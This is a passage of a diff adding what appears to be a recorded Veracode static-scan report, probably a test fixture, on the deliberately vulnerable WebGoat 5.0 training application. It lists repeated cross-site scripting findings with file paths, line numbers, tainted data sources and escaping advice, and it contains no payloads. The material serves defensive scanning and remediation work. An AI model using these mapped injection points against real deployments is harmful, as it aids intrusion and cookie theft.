+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"48\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"80\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"170\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"29\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"172\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"205\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"174\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"85\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"178\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"59\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"124\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"180\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"101\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getRestartLink().
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"194\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"64\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"90\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.println\" description=\"This call to javax.servlet.jsp.JspWriter.println()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to println() contains tainted data from the variable printParameters.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"212\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"73\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"16\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.println\" description=\"This call to javax.servlet.jsp.JspWriter.println()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to println() contains tainted data from the variable printCookies.
+        The tainted data originated from an earlier call to javax.servlet.http.httpservletrequest.getcookies.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"223\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"79\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"269\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getMessage().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.http.httpservletrequest.getcookies, and javax.servlet.http.httpservletrequest.getheader.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"231\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"84\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"103\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"187\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
